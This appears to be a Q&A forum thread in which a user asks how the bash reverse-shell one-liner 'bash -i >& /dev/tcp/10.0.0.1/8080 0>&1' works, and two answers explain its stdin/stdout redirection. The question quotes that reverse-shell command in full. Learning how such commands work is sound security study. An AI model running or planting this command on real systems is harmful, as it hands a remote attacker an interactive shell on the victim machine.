0

I've been trying to gain a greater understanding of how reverse shells work and I've been deciphering the bash one:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

I understand that the first redirection (>&) redirects stdout and stderr, but why is there a need for the second one?

Barmar
  • 741,623
  • 53
  • 500
  • 612
MrRed
  • 1
  • 2

2 Answers2

0

This redirects stdin (FD: 0) to come from the socket as well currently on stdout (FD: 1)

CY-OD
  • 336
  • 2
  • 8
0

It connects standard input and standard output to the same device. This allows two-way communication to the host where the shell is running.

See this article for details.

l0b0
  • 55,365
  • 30
  • 138
  • 223
  • 1
    So, bash sends stdout and stderr to the tcp socket (first redirection:>&), then stdin is redirected to where stdout is already going (second redirection:0>&1)? – MrRed Mar 09 '22 at 13:04